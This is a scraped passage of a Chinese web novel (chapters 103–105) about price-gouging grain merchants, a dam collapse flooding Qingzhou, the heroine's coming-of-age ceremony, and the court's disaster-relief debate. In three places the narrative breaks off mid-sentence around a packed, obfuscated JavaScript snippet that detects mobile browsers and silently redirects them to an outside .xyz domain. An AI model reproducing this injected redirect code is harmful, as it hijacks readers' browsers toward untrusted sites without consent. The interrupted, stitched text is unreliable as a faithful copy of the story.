张大伯:“我们一家九口人,一百多斤粮食也就能吃两个月吧,雨一直不停,按照这势头下去,粮价说不定还要涨呢!” 张大伯的一番话提醒了很多人,他们纷纷表示自己要多买一点。 “掌柜的,我再买三十斤粗粮!” “我要八十斤精粮!” 黄掌柜让铺子里伙计加快手脚,他自己走到门口维持秩序:“别挤别挤,乱挤的人我不卖粮给他啊!” 威胁的话放出来后,人群中自觉地排起了队。 听到外面的的粮商都在卖着高价的粮食的消息,刘家村的百姓们也很感慨,还好他们在粮价上涨之前跟着东家囤了一批粮食,虽然数量不是很多,但也饿不到一家人。 尤其是看到了别人的惨状之后,他们心中更加佩服傅知乔的远见。 傅知乔预见到了粮价会上涨,但没想到他们竟然做的这般明目张胆。 青州城里短短半月内粮食价格翻了好几倍,这样的增长速度说里面没有猫腻她是不信的。 青州粮价之所以涨的这么快,除了有天灾的部分还有人为的原因,城里的粮商们联合起来抬高粮价,原本十几文钱的粮食被卖出了五六十文的高价,部分粮商们从中获取到了巨大的利益。 控制住了粮食,就相当于控制住了百姓的命脉。 百姓们不是没有反抗过,可没有用啊!就算去报官也没有用,官府并不能对这些粮商们做出什么处罚。 利益当前,所有的粮商们都是站在同一战线的,官府敢责令他们恢复原价,他们就敢立即把铺子给关了,让全城的百姓无处买粮。 官府可以管粮食售价,但总不能管他们开不开店。 粮商们有恃无恐,百姓们也没有办法,只能一边咒骂一边用自己的血汗钱去换取那一点点粮食。 * 连着两天,雨依旧断断续续的下着。 张氏穿着蓑衣敲响了傅家的大门。 傅家的门房认出来她是住在陵水巷的巷尾张氏,问:“张夫人?” 张氏就羞得满脸通红,她与傅家并没有什么交情,这次来借柴是她好不容易鼓起来的勇气来的。 家里的干柴已经用完,又遇上了连续不断的阴雨天气,她没有办法弄到柴火,多以她家已经两天没有烧火做饭了。 她也有向其他的邻居开口借过柴火,可谁也不愿意借给她。 邻居们不愿意借柴给她的原因也很简单,街上可以买到干柴,或者是去山上捡免费树枝作为柴火,你为什么还要到别人家里去借柴呢? 家里连一点柴都没有的人,要么懒要么穷,这样的人是不受待见的。 况且,大魏民间有“借米不借柴”的俗语,“柴”有“财”的寓意,百姓们都比较忌讳借柴这件事,谁都不愿意把自家的财气借给别人。 张氏甩了甩衣袖上的水渍,有几分不好意思,“我能傅小姐见一面吗?我家的柴都烧光了,孩子他爹打猎摔断了腿,家里还有三岁的孩子饿着肚子,我实在没办法了。” 门房上下打量了她一眼,见她的裤腿全被雨水打湿了,留下一句:“你等着!” 张氏心里也在打鼓,她不确定自己能不能借到柴,天上一直在下雨,街上没有人出来卖柴火,自己冒着大雨进山捡柴的话风险更大,她也是被逼的没有办法了。 门房把张氏的情况复述给傅知乔。 傅知乔对张氏并没有什么印象,不过听到她的丈夫腿断了不能动弹,还有两三岁的孩子等着柴火做饭后她动了恻隐之心,让下人去柴房里装了一捆柴火让她带回去了。 张氏对此是千恩万谢,她不断地朝着傅家大门鞠躬:“谢谢傅小姐,谢谢傅小姐,等天晴了我一定会把柴还回来的。” 到处都在下雨,百姓们无处可去只能待在家里。 持续的阴雨天气很容易让人产生不安情绪,随着传出了城外农田被淹的消息,城里恐慌的情绪很快就到达了顶点。 什么?农田被淹了?这意味着这一季无法种植粮食了! 百姓们一窝蜂的冲到铺子抢购粮食,他们拿着麻袋,背着背篓,在五谷粮铺门口不断的拥挤着,希望能挤到最前面买到粮食。 几乎全城的人都出动了,各个粮铺门口都挤满了人。 来买粮食的人太多了,最后,五谷粮铺干脆挂了牌告示出来。 粗粮三十五文一斤,精粮八十文一斤,每人限购买十斤。 这个告示贴出来,所有百姓都无法接受。 “粗粮昨天还是二十五文,今日怎么就涨到了三十五文?” “这涨的也太快了点吧!” “粮价一天一个样,老百姓的日子还过不过了?朝廷能不能管管?这日子简直没法过了!” “掌柜的,你这放出来的粮食也太少了吧,咱们这么多的人根本就不够分!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985931|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就是就是,价格贵我就不说了,怎么还搞限量购买?” “大家伙靠着粮食救命呢,掌柜的你就不要藏着掖着了,赶紧把粮食拿出来吧!” “有粮食不卖,黑心商家。” 见大家情绪激动,黄掌柜也不得不出来说话了。 这些日子粮价暴涨他确实是赚的盆满钵满,不过卖到这个时候他库房里的粮食不多了,想去进货可外面到处都是水,哪儿去去不了,他总要留一些给自家人吃吧! 黄掌柜也跟大家诉苦:“不是我不想卖粮,实在是没有存货了,现在雨势这么大,我就是想去补粮也补不回来啊!” 百姓们听到粮商手里也快没粮了,一个个的捶胸顿足的,后悔自己当初没有多买一点。 “今天是我们五谷粮铺最后一天卖粮了,大家都散了吧,去别处看看说不定还有粮食。”黄掌柜挂出已售完的牌子。 剩下没有买到粮食的人追问:“你们五谷粮铺都没粮了,哪里还有粮食卖呢?” 黄掌柜摇摇头:“唉,大家都省着点吃吧,希望朝廷早日发救灾粮下来。” 粮食价格不断上涨,百姓们的口袋也渐渐被掏空,越来越多的人拿不出银子买不到粮食,甚至有人开始卖儿卖女来换取粮食了。 五谷粮铺关门后,百姓们依然没有离去。 “朝廷的赈灾粮到底什么时候下来啊?” “这哪里是在下雨,这简直就是天上在往下倒水!” “老天爷,你还要下多久啊?求你收手吧!” “咱们城里还算是好的,城外几个村庄受灾更严重,大部分农田都被冲毁了。” “这雨不知道何时才能停下来,听说城外很多地方都被淹了,还有人被水给冲走了,也不知道是真是假。” “哎呀,现在下雨倒是其次的了,我现在最担心的就是赤水坝,我昨儿个路过城门口,看见衙门派人在派人出城巡河,你们说这大坝会不会垮掉?” “说不准,要是大坝垮了,那咱们就要遭大殃了。” “哎,我们要不要搬到山上去住?”有人担心大坝被冲毁,为了保命想往高处走。 “城外现在到处都是灾民,你一出城就会被抢的。” 城门外面已经有不少的灾民,有家底的人家已经交了银子进了城,没有银子的人只能每天往地势高的山上跑,在山上找些能吃的野菜充饥。 又过了两天,越来越多的灾民涌进城里。 青州的百姓们这才全慌了神,纷纷拿起手里的银子,开始大批量买粮食,然而到了这个的时候只能买到很少的粮食了。 最开始粮食还没有大涨的时候他们没有买,等到粮食大涨价后才买粮的人此时肠子都要悔青了。 城里的大多粮食铺子都已经卖空关店了,餐馆食肆也早就不开了,连杂货店里的干货等所有能吃的东西都卖完了。 粮食少的人家已经开始勒紧裤腰带不敢吃饱了。 百姓们从一天三顿变成一天两顿,到现在的一天一顿,家境富足的人家还有吃的,而贫穷人家只能喝喝野菜粥了。 更糟糕的是城里出现了大量的灾民,已经多到影响了本城百姓的日常生活。 103. 爆发水患 暮雨稍停,一行马车快速的驰骋着,溅起了不少泥水,终于天黑之前驶进青州城。 傅知乔坐在书房里,翻看着赤水坝那边传过来的消息。 赤水河里的水位是越来越高了,建在河边用来报汛的塘马也被淹了一半,正在她考虑要不要将酒庄里也停工的时候,余柔岚赶了回来。 “娘?” 傅知乔看到余柔岚不可不谓不震惊,“我不是让你待在京城吗?你怎么自己回来了?” “你快及笄了我怎么能不回来?”本来她还可以早几天到的,谁知进来青州的地界后就时不时下雨。 经过雨水的洗涮,地面上原本硬实的泥土变得松软,这导致路程变得艰难了不少,在路上耽误了好几天才回到青州。 两天后就是傅知乔的及笄之日,还好她赶上了。 看到傅知乔迷茫的眼神,余柔岚宠溺又无奈地笑了笑:“你呀,是不是把自己的及笄日忘记了?” 说到及笄,傅知乔还真的忘记了。 保护高粱苗、建新的粮仓、到处去收粮食……回青州这么久,她一直都没有停歇过,根本就不记得两天后就是自己的及笄的日子。 余柔岚身上的丝绢斗篷已经沾上了雨渍,银杏连忙上前帮她脱下来,傅知乔连忙让下人去烧热水给余柔岚泡澡驱寒。 小丫鬟们立即忙碌起来了,崔嬷嬷年纪大了,一路上跟着余柔岚舟车劳顿的,这个时候就不用她来伺候了。 沐浴完换了身干爽的衣服,余柔岚喝着姜汤跟她聊天。 “及笄后你的守孝期也要过了,你就不用整日再穿那些素净的衣裙了。娘看中了一匹桃红色的云雾绡,给你做一套裙子刚刚好,据说用它做成的衣裳穿在身上就如云雾般缥缈,女孩儿家嘛,总是要穿的娇艳些的。” 傅知乔笑着应下了,还与她讲起了城里的近况。 余柔岚一心记挂着傅知乔,再加上到达城门时天色已经暗了下来,她没怎么注意城门外的情形。 现在听傅知乔说城外有不少灾民的消息,她才知道连续的降雨导致周边县城的百姓受灾,她顿时感到心悸,还好自己趁着天黑之前进了城。 傅知乔心里也是止不住的后怕,城外现在的情况不是很太平,灾民们为了抢占好一点的避雨地点,时不时就会发生打架事件。 尽管官府有派衙役出来维持着秩序,但衙役们天黑后就回城里休息了,夜晚还留在城外还挺危险的。 城外有不少地方已经被雨水淹没,幸运的是目前还没有波及到青州城内。 傅知乔安慰余柔岚说自己已经把一切都安排好了,保证没有事,余柔岚自然是百分百相信自己女儿的,她也不再去想一些乱七八糟的事情,早早地睡了过去。 平静度过了两天,傅知乔及笄当日。 及笄礼当日所穿的衣服有固定的样式,余柔岚早前答应傅知乔留在京城,其实是因为她定做的礼服还没有做好。 这不,一拿到衣服余柔岚就立马赶了回来。 傅知乔打开装着衣服的盒子,里面是一件长及曳地的朱红色金银丝鸾鸟织锦礼服,彩线交辉,金丝银丝穿插其中,光泽夺目。 女子的及笄礼是十分庄重的,一般会邀请正宾、赞者还有亲属来参加。 当初周妙思的及笄礼傅知乔是见过的,三套首饰三套华裳是基本,还有无数的繁杂礼节……这一套流程下来人都累的半死了。 傅知乔以条件受限为理由,干脆省去了那些繁杂的步骤。 余柔岚本来是不太愿意的,但外面雨下个不停,所有人都在想方设法买粮食,哪里还有心思来参加傅知乔的及笄礼。 余柔岚只能妥协。 最后,及笄礼上的正宾和赞者都由余柔岚亲自担任,她洗干净双手来到傅知乔身后,执一把梨花木镂空牡丹花纹梳篦给她梳头。 挽起发髻,戴上钗冠。 内里素衣裹身,下穿暗花细丝褶缎裙,外披朱红色金银丝鸾鸟织锦长袍,锦袍挽迤三尺有余。 本就光滑白皙的肌肤此刻在朱红织锦长袍的映照下,更加显得瓷白似雪,晶莹如玉,她起身在屋里走了两步,步态轻盈柔美,整个人有一股说不清的高贵绝俗。 崔嬷嬷:“笄礼开始,请姑娘出房。” 傅知乔站立于厅堂中,双手交叠至于腹,郑重地对着余柔岚行跪拜礼。 余柔岚坐在上座,另一张椅子上放的是傅长岳的牌位。 看着亭亭玉立的傅知乔,余柔岚心里很不是滋味,别人家女儿的及笄礼场面办的风风光光,十分隆重,而她的女儿却办的如此简陋,连个宾客都没有。 傅知乔倒是不计较这些,她只觉得流程越简单越好。 及笄礼结束,母女俩好好享用了一桌美味。 吃完晚饭后外面的雨还是不见停,反而越下越大了,雨滴打在屋顶上的瓦片上发出了巨大的响声。 响彻天地的雷声震耳欲聋,听得人心里发慌。 这一夜,青州半数以上的百姓都是在惶恐与不安中度过的。 暴雨整整下了一夜,第二天早上青州城里路面上低洼处已经开始有积水了,这不是一个好的迹象。 李文康也坐不住了,派出了许多衙役,他们穿上蓑衣,戴着斗笠,手上拿着各种各样的工具,冒着雨在清理水沟里的污物,防止水沟堵塞导致积水无法排出。 “知乔你说,会不会要发洪水了?” 傅知乔心里也没有底,按照目前下雨的趋势,发洪水是大概率事件。 见余柔岚一副担忧的模样,傅知乔开口安抚她:“娘,你就放心吧!官府派人在河边守着呢,有消息会通知大家的,更何况,我们家里的粮食柴火都不缺,哪怕洪水来了也饿不着。” “那就好,那就好。”余柔岚听到傅知乔有应对的措施后才安心。 * 赤水河里的水变得越来越浑浊。 官府一直派人监管这这里的情况,挑了几个水性好的人,不分日夜在河边守着。 半月之前,有人发现水位上升,已经淹没了塘马的脚,便报到了官府,官府派了人过来加固大坝。 又过了一天,雨势丝毫没有要减弱的迹象。 天边刚泛起鱼肚白,人们都还在睡梦中,就被一声声“哐哐哐”的敲锣声给惊醒了。 “所有人听令,城门现已关闭禁止出入!雨势太大,赤水坝恐坚持不住多久了,为了安全起见,所有人全部都要待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031149|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在高处,不要随意走动……” 百姓们听到这个消息都慌乱了起来。 住在低处的人需要赶紧撤离,他们都明白这件事的严重性,一旦赤水坝发生崩塌,河里积压的洪水全部涌出,只怕大半个青州城都将会被淹没。 傅知乔也只能祈祷自己的酒庄没事,祈祷她之前的布置能起到作用,祈祷刘家村后的华平山能挡住一些洪水的冲击…… 当初选址建造酒庄的时候,她最终把位置定在刘家村也是有考虑到这里优越的地势环境。 刘家村的位置在赤水河的源头处,受到的波及相对会小一些,赤水河的河道越往后越弯曲,越往后越排水不畅,所以此次洪水是从中游开始爆发的。 尽管如此,傅知乔还是做了万全的准备。 担心暴雨会造成积水,她在粮仓、酿酒房和酒窖这三处地方竖了约一人高木板,还在木板后叠加了半人高的沙袋,目的就是为了防止积水灌进来。 粮仓、酿酒房和酒窖这三处是重中之重,不容有丝毫闪失。 有官府的预警,很多百姓正在往地势高迁移。 赤水坝最开始只裂开了一个口子,堤坝有了破绽,水流的压力便全部集中到此处,它再也不堪重负,彻底的塌了。 混浊的河水霎时间涌了出来,山石、树木,房屋和人全都被卷了进去。 从官府发出预警到赤水坝崩塌,这期间还不到两个时辰。 在交通不便通讯不发达的情况下,官府很难将所有村庄都通知到,许多百姓还在睡梦中就被无情的洪水吞噬了,他们甚至没有获得一次呼救的机会。 住在城里的百姓倒还好,有一层高高的城墙堵着,所以水位只淹没到小腿位置,低矮一些的地方则被淹到了腰部位置。 住下乡下的村民可就遭殃了,乡下都是平坦的农田没有丝毫遮挡物,他们只能眼睁睁的看着自家的房屋和乡村被河水淹没。 爬了城楼往外一看,城外低洼处远远的看去如同一片汪洋,水面上还有抓着板子漂浮着的灾民。 不知道多了多久,湍急的洪水渐渐平息了下来。 大坝崩塌带来的毁灭力和破坏力是无法估量的。 此次受灾的范围很广,青州城因为有一堵厚厚的城墙拦着,所以并未完成大量的人员伤亡,只是有些年久失修的房子被水泡垮了,伤了几个人。 而周边的上阳郡和云中县就没那么好运了,这两个地方是水患重灾区,其次是进贤县,与这几处地方相比,青州城受到的影响相对要小很多。 洪水来的又快又猛,许多人及时往山上跑才保住了一命。 露出水面的小山坡上犹如一座座小船,上面挤满了逃生的人,还有一些没能爬上岸的人只能抱着水中的横木漂浮,水中有被折断的房梁,还混杂着一些衣物和尸体…… 住在高出的百姓没有受到冲击,他们自发的走出家门救人,划着小船、撑着竹筏四处在搜寻还活着的人。 发现小山坡上被困的人后,他们缓缓的靠近,来来回回好几趟,终于把山坡上的人救了出来。 家园被毁,受灾的百姓们已无处可去。 受到水患影响的,不止青州,还有赤水河下游的禹州。 104. 商讨赈灾 禹州这边的状况同样凄惨,赤水坝决堤的时间大约是卯时,堤坝的缝隙越裂越大,洪水犹如瀑布一样宣泄。 一夜之间,成百上千的百姓被洪水卷走,很快消失不见踪影。 水浪的拍打声,百姓们的救命声和哭喊声久久的在禹州上空回荡着。 不过,好在禹州境内还有一条漓水河,有它帮忙分流,大大减轻了禹州的防洪压力,所以这边的灾情虽然严重,但波及范围却没有青州那么广。 青州城内。 在积水里泡了一天一夜的百姓终于看到了希望。 雨终停了,城里的水位也在慢慢下降,虽然天色依然是阴沉的,但没了雨水,出行干活总归是方便不少。 陵水巷的各家各户都打开了大门,邻居街坊们都聚到廊檐下互相问候着,“你们家里怎么样?有没有进水?” “还好呢,我家宅子新修了石阶,洪水只浸到到脚面,就是厨房里的瓦片漏了,雨水毁了我两袋精面。” “哎呀,这时候粮食可金贵着呢!” “可不是嘛,心疼死我了。” 下雨后大家一直都没有出门,此刻雨停了,几个阿婆便聚在一起说着话,计算着自家的损失。 文江和护卫队一直都在酒庄里守着,雨一停,他们便第一时间划着小船赶过来跟傅知乔汇报的酒庄里情况。 酒庄外圈挖了内外两道的排水沟,每间库房里都放了木板和沙袋作为挡板,在内外多重防护之下,酒庄里并没有受到多大的损失。 傅知乔的心终于放了下来。 雨是停了,可水位一时半会还降不下来。 城外各个村落之间依然是靠着船筏往来联系的,无家可归的灾民们只能选择来到富裕一些的府城,希望在这里能得到救援。 因为有官府预警,在洪水来临的时候,有部分村民及时迁到山上躲避,现在水势正在慢慢退去,他们也都选择下山进城。 外面到处都是洪水,没地方住没东西吃,他们总不能干等着死,于是纷纷来到青州城寻求庇佑。 “从周边县城来咱们青州城的人多吗?” “多,估么着有两万人了。” “这么多?”李文康大感意外。 “是的,还有很多灾民都是拖家带口来的,城里已经乱成一锅粥了。城外也聚集了很多灾民,不过目前咱们城里已经没地方给他们住,只在城门口搭了几个草棚安置他们。” 李文康皱着眉头,怎么灾民们全往他这里跑? 这些人要是死在了他的管辖范围内,于他的政绩很不利啊! 师爷龚俊才壮着胆子问:“大人,如今灾情不容乐观,我们可要开仓放粮?” 李文康瞪了他一眼,“没有朝廷的旨意谁敢开仓放粮,你我的小命还要不要了?” “可现在外头都在说大人您尸位素餐,见死不救……” “这帮刁民!”李文康气的咬牙切齿。 面对如此情况,李文康很是头痛,救与不救是个大问题! 救的话没有多余的银子?总不能要他自己掏钱吧? 可不救也说不过去,身为当地的父母官,当官却不作为的名声传出去,他头上这顶乌纱帽也别想要了。 李文康虽然是个庸才,但也确实不敢做出中饱私囊耽误灾民救治这种事,去年朝廷打仗,他把衙门里的银子全部上缴国库了,现在实在是没钱呐! 龚俊才眼珠转了转,出了个主意:“要不,咱们再找那些商户捐些钱财?” 很快就李文康否了这个想法:“不可,去年剿匪的时候那群商户已经出过钱了,不到最后不能用此计。” 他还要在此地留任,与当地的富豪乡绅们的关系不可弄僵了。 “开仓放粮一事我已上报给太守大人了,事关重大,我等需得听大人定夺。” “只……只怕那些灾民等不到了。” 李文康想了又想,来回踱步,说:“这样吧,你派人在门口多架几个粥棚,衙门里不是还有一千多斤陈粮嘛,都拿出去煮了,煮的稀一些,一个人吃半勺别饿死就行。” 饿红眼的灾民什么事做不出?万一他们集合起来冲击衙门就不好了,城外的人他管不了,城内的人还是先拿些粮食出去安抚一下为好。 拿衙门里去年没吃完的陈粮出去救灾,既不用从他们口袋里掏钱还能博一个爱国爱民的好名声。 龚俊才点头哈腰,“是是是,还是大人考虑的周到,属下这就去办。” 龚俊才得了指令,转身下去安排了。 李文康叫住他:“对了,多派点衙役去把城门守好了,再去把那几条官道都给我堵了,别让外地的人再进来了。” 进入青州城的官道就那么几条,只要让人在路上设置一个关卡堵一堵,外地灾民想进来是很难的。 青州本地的灾民都没粮食可以吃,没有地方可以安置,这些外来灾民还想来分一杯羹? 他李文康坚决不同意! * 京城,承德皇帝看着一封封奏折,脸色凝重无比。 奏折之上是最新的水患情报。 青州、禹州两地发生了水患,房屋被淹,粮田俱损,水灾成患殃及多地,百姓们民不聊生,正等待朝廷救援。 皇帝挥了挥手,一旁的太监立即将奏折递给站在最前方的几位大臣。 丞相杜正邦接过奏折,大致扫了一眼后神色微变。 奏折在朝堂之上传阅着。 “发生水患这么大的事,怎么朝廷现在才收到消息?钦天监是干什么吃的?” “陛下息怒。”众位大臣齐齐的跪倒在地。 钦天监监正浑身一抖:“臣夜观天象,发现云色乌暗,水星逆转,雨水的预警通知早已下达到各个州县。只是青、禹两地的地势低陷,加上雨量太多了,河道无法排泄这么大的水量,从而导致河道水位急速上升,最终大坝难以承受雨量压力而决堤了……” 言下之意就是我已经预测到了暴雨天气,预警通知也发下去了,引发水患的原因是水利大坝不够牢固,与我钦天监没有干系。 工部尚书韦建元也听出了他的言外之意,暗地里翻了个白眼,赶紧解释:“回禀陛下,赤水坝修建至今已有三十余年,从未出过差错,臣以为,此次水患的原因是连续降雨带来的,水量超出了赤水坝的承受范围才会到底大坝被冲毁!” 想让我们工部背锅?没门! 两地连续暴雨的异常天气,当地官员早就上报了。 下情上达需要层层审核, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058247|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由下面的官员一层一层的往上递奏折,直到爆发了水患才引起了重视,八百里加急传回了消息。 就是这中间的信息差,才延误了最好的防灾时机。 “两地的百姓正在受苦,诸位爱卿可有良策?” 杜正邦作为百官之首,他缓缓起身,出列道:“回陛下,依臣所见,朝廷应当派钦差传旨意,让各地县城开仓派粮,先开放靠近受灾地的粮仓,将受灾的百姓们安顿好,以此来彰显陛下仁慈,至于受损的粮田,只能待水灾结束后另行安排了。” 承德皇帝点点头,问:“陈尚书,你来给朕说说?” 陈德易是户部尚书,他是负责掌管着全国户籍、粮饷、赋税等方面的财政收支大臣。 “回陛下,微臣也以为应当先赈灾为主,目前河道破损,即便朝廷下派赈粮也无法及时到达,还得依靠各府县地援助,灾民们无处可住,无粮可吃,应当及时从周边的县城调拨钱粮。” 工部尚书韦建元撇清关系后,立即给出自己的建议:“臣以为,需要立即修复河堤,减少受灾范围,还要派遣善于工事的能手去帮助百姓们重建家园。” “灾民聚集,只怕任何一个府城都不敢接收,且洪水所到之处恐有疫病发生,微臣认为还需派遣太医院的人一同前往。” 此话一说,朝堂上的大臣们神色变得极为沉重。 承德皇帝的脸色也变得十分难看。 “其他爱卿以为如何?” 朝堂上一时安静无声。 荣国公站了出来:“臣认为,赈灾银钱和粮草只能解一时的燃眉之急,应当尽快安置人手疏浚河道,重修房屋。同时派遣钦差奔赴青州禹州两地监督,如今水患肆虐,百姓流离失所,所有灾民扎堆在一起,恐生民怨发动暴乱啊!” 此话一说,其他大臣纷纷点了点头。 承德皇帝稍稍沉思片刻,开口问:“国库里还有多少银子?” 陈德易答:“国库账面上盈余四千五百万两白银。” 大魏跟周边的蛮夷小国才打完仗没多久,此时的国库并不充盈。 “传朕旨意,任命礼部侍郎秦兆、户部侍郎闵昆正二人为钦差大臣,即刻前往青禹两州赈灾,不得有误!” 秦兆、闵昆正两人立即跪下领旨。 “骠骑将军谢卓。” “臣在。” “护送赈灾款和赈灾粮的事就交由你去办,除此之外,赈灾之事全权由你监督,若发现监守自盗者立即打入天牢。” 皇帝的意思是两位钦差大人带上一部分银两和粮草,与太医院的太医们,修水利的工匠们先过去顶着,谢卓带兵护送这批灾银粮草随后到达。 因为三百万赈灾银两是由国库拨款,想要顺利把灾银从京城运到受灾地并不是容易的事情,一路上山长水远,难保贼寇们不会打这批赈灾款的主意,所以,强大的武力镇压是必不可少的。 而且,皇帝心中还有一个担忧。 朝廷的三百万赈灾银拨了过去,万一经过底下的官员层层剥削,最后能到灾民们手中还剩多少呢? 为了避免此类事件发生,干脆就把银子和粮食交给谢卓,只有这样他才能放心。 谢弛出列躬身一拜:“微臣定当竭尽全力,不辱皇命。” 105. 灾民涌入 赵均回在下朝路上等着礼部侍郎秦兆,见到人出后来,他立马上前行礼。 “赵大人免礼找我所为何事?” 赵均回拱手道:“大人,微臣请求与您一同南下赈灾!” “为何?”秦兆反问,皇上虽然派了他作为钦差大人前去赈灾,可还派了骠骑将军一路监督,赈灾之行不但捞不到多少好处还很辛苦,旁人都不太愿意。 秦兆知道皇上之所以指派他和闵大人两位官职不算太高的侍郎去赈灾是有原因的,几位德高望重的国公爷年纪都大了,不适合外出奔波,尚书大人们手上都有很多重要的事务,一下子离京两位尚书大人对国事也有一定影响。 同时,陛下也有点担忧两位侍郎资历不够,镇不住场子,所以才指派了谢卓这个将军一路监督。 皇帝没有指派从军经验更丰富、职位也更高的罗振海将军,而是指派了骠骑将军谢卓同去,这里面也有另一层深意。 谢卓此行就是要担任皇帝的眼睛,他不但要押运赈灾粮钱,到了受灾地之后还要监管各大官员行事。 谢卓既是来赈灾骠骑将军同时也是端亲王的世子,要官职有官职,要地位有地位,有他在,至少没有官员敢光明正大对两位钦差大人使绊子。 秦兆看着赵均回,若有所思,赵均回是探花郎出身,他的起点很高,主动要求取赈灾应该不大可能是为了钱财,难不成是为了在民间树立好名声,为往后的仕途铺路? 赵均回回答:“臣的家乡就在禹州,今年的水患是禹州几十年从未有过的,在如此危难的时刻,臣希望能为家乡的父老乡亲们尽些绵薄之力。” 秦兆好心提示:“陛下指派我为青州的钦差大人。” 言下之意是,你想去禹州赈灾应该去找户部侍郎闵昆正。 对上秦兆调侃的目光,赵均回身体一僵,陛下刚宣完旨意他就过来,没想到找错了人,气氛一度很尴尬。 秦兆看着面色尴尬的赵均回,忍着笑意,“要不要我帮你联系闵大人?” 赵均回再次躬身行礼:“青州与禹州相邻,即便不是去禹州,微臣想去赈灾的决心也不会动摇。” 秦兆想着他现在无人可用,这位编修大人虽年轻莽撞了些,但好在有学识且满腔热情,算得上是个可用之人。 “本官奉旨后日出发赈灾,你若下定决心同去,明日便将手头上的事务交给其他同僚,后日随我一起南下赈灾。” 赵均回愣了愣,大喜:“多谢大人成全!” * 洪水渐渐退去了,可它带来的伤害却没有退去。 道路被岩石和泥浆覆盖、房屋被冲垮、桥梁被截断、大树被连根拔起……洪水所到之处满目疮痍。 城外聚集而来的灾民越来越多,周围受灾的百姓都涌入了城中,城里客栈都住满了,城里也没有空余的居所来安置灾民。 官府派人直接在御道的空地上搭了棚子,铺些稻草软物便算一个临时的安身之所了,后面进来的人连草棚都没得睡,只能睡在街道两旁。 灾民越来越多,官府这边的人手、能力都有限,即便一直在施救,可是效果并不理想。 而且两三万灾民涌入城内,这给青州的治安造成严重威胁。 到处都是灾民,大街上抢钱、半夜偷食等事件层出不穷,城里的百姓们怨声载道,都不敢出门,李文康干脆下令关闭城门,阻止外来的灾民进来。 他只有一千多斤的粮食,可禁不起这么多人吃。 从各方聚集而来的灾民大喊着,拼命拍打着城门,希望知府大人能将城门开门,可他们从早喊到晚城门依旧是紧闭的,丝毫没有要打开的迹象。 此时城里都自顾不暇了,根本没有精力去管外来的灾民,任凭他们在城门外哭喊,官府也无动于衷。 城门一关,青州城与外界的通信就完全被中断了。 两日后,天空放晴,连续大半个月雨天之后终于迎来了一个艳阳高照的晴天。 崔嬷嬷带着一众丫鬟小厮们把堵在家门口的沙袋搬走,将被雨水泡了的家具全部拿出来晾一晾,沾满了潮气的衣物也要重新洗净晾干。 青州城渐渐恢复活力。 街道两旁的积水被清扫的差不多了,城里的情况逐步稳定下来。 关闭许久的城门终于再次打开。 不过城门打开的原因不是为了救助城外的灾民,而是为了清理城里的淤泥。 洪水褪去,大量的淤泥堵在了水沟里,如果不及时清理掉,再下大雨的话又会引起积水麻烦。 城外的灾民们见城门打开了,衙役们推着车出来,他们如看到救命稻草一般全部围了过来。 看到车里的全是淤泥而不是粥饭后,眼里的光芒瞬间就熄灭了。 他们已经饿了这么多天的肚子,可官府依然没有要管他们的迹象,此情此景,他们再也忍不住破口大骂。 城内的情况要比城外好很多。 早一步进城的灾民至少能得到一碗米汤喝。 有了李文康的命令,官府门口的粥棚很快架了起来。 灾民们闻讯赶来,一到粥棚里全都傻眼了,这煮的哪里是粥啊,就连锅里面有几粒米都数得清,勉勉强强能说得上是米汤而已。 灾民们大失所望,可他们没有资格挑剔,这时候有口米汤喝也很不错了。 即便是这种米汤的煮法,一千多斤粮食还是两三天就吃光了,人多了粮食变少了,灾民们喝了两天的米汤后又无奈被断了粮。 城内的活力正在慢慢复苏,官府的救治也在进行,傅知乔感觉灾情稳定应该也快了,不知道城外是怎样一番景象,她叫家里的小厮套上马车,打算亲自去酒庄里看一看,不然她不放心。 谁知,马车还未出城门口就被被堵住了。 前面人声嘈杂,小厮知道不能再往前走了,说:“姑娘,有灾民闹事!” “怎么了?”傅知乔一揭开车帘就被眼前的景象给惊到了。 城门大门是关闭的,仅打开了侧门便于清淤马车出入。 可现在侧门被灾民堵住了。 大概有二三十名守卫兵,他们持刀拿枪,杀气腾腾面对着灾民,阻止他们进入城内。 灾民们忌讳官兵手机的武器,并不敢直接冲过来,两方就这么僵持着。 傅知乔抬眼望去,城门外面黑压压的一片全是衣衫褴褛的灾民,他们身躯骨瘦如柴,且满脸狼狈色。 饿倒在地的灾民随处可见,靠近城门口的树木全没有了树皮,甚至还有人为了争抢一点草根而大大出手。 隔着栅栏,有灾民看到了她的马车,他们的眼神里全是对食物的渴望,好像一秒就要过来扑抢似的。 “我已经三天没有吃过东西了,求您行行好吧!” “大人,行行好救救我们吧!” 有几个灾民刚想要靠近就被官差们驱赶走了。 